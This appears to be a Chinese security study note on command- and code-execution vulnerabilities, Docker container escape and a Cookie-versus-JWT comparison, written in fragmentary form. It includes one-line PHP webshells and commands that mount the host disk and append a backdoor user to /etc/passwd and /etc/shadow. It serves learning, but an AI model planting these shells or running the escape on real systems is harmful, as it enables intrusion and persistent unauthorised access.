免责声明:本文所有测试均在授权的虚拟机环境中进行,内容仅供安全研究与学习之用,请勿用于任何非法目的。我们坚决反对一切危害网络安全的行为。
whoami
ipconfig
dir
cd
ifconfig
ls
dir
命令执行漏洞的核心原理可以概括为:程序在处理用户输入时,未对输入内容进行严格过滤或验证,导致用户可控的输入被直接拼接进系统命令中执行
漏洞形成的 3 个核心条件(缺一不可)
system()、exec()、shell_exec()、passthru()os.system()、subprocess.call()、os.popen()Runtime.getRuntime().exec()exec.Command("ifconfig")<?php system($_GET["a"]); ?>代码执行漏洞的核心原理可以概括为:程序在处理用户输入时,错误地将不可信的用户输入当作 “合法代码” 执行,导致攻击者能够注入并运行恶意代码。
漏洞形成的 3 个核心条件(缺一不可)
eval()、assert()(旧版本)、preg_replace()(带/e修饰符)exec()、eval()、compile()(配合执行函数)eval()、new Function()ScriptEngine.eval()(执行脚本代码)exec.CommandContext(ctx, "bash", "-c", "ip a")<?php
eval($_GET['code']);
?>
这里的$_GET['code']完全由用户控制,且直接进入了PHP 代码执行。
eval()函数 ——eval()会将整个字符串当作程序没有对用户输入进行严格过滤或转义,导致攻击者可以构造包含恶意代码的输入,改变原有的执行逻辑特性:1.
/.dockerenv
2.cat /proc/1/cgroup
提权步骤:
fdisk -l, 挂载docker内文件夹cd /tmp,mkdir xx,mount /dev/sda1 xx
此时仅能ro宿主机文件,不能创建,可以转而获取/etc/passwd,密码已被加密/etc/shadow
追加新用户echo "test:x:1001:1001::/home/test:/bin/bash" >> /etc/passwd
追加新用户密码echo "test:xxxxxxxxxxxxxxxxxxxx:20167:0:99999:7:::" >> test/etc/shadow
| 对比项 | Cookie | Token(常用 JWT) |
| 存储位置 | 浏览器 Cookie 中 | 前端 localStorage/sessionStorage/ 内存 |
| 发送方式 | 浏览器自动发送 | 前端手动写入请求头 |
| 跨域 | 默认受同源策略限制,需配置 CORS + withCredentials | 天然支持跨域,直接放在 Header 即可 |
| 安全性 | 易受 CSRF,可通过 HttpOnly/Secure/SameSite 缓解 | 无 CSRF 风险,需防 XSS 泄露 |
| 服务端状态 | 服务端需存 Session(有状态) | 服务端不存会话,只验签名(无状态) |
| 有效期控制 | 服务端设置过期,可强制失效 | 签发时设过期,不易主动吊销 |
| 适用场景 | 传统 Web 站点、同域登录 | 前后端分离、APP、小程序、微服务、分布式 |
| 大小限制 | 单个约 4KB | 可更长,但不宜过大(建议 < 1KB) |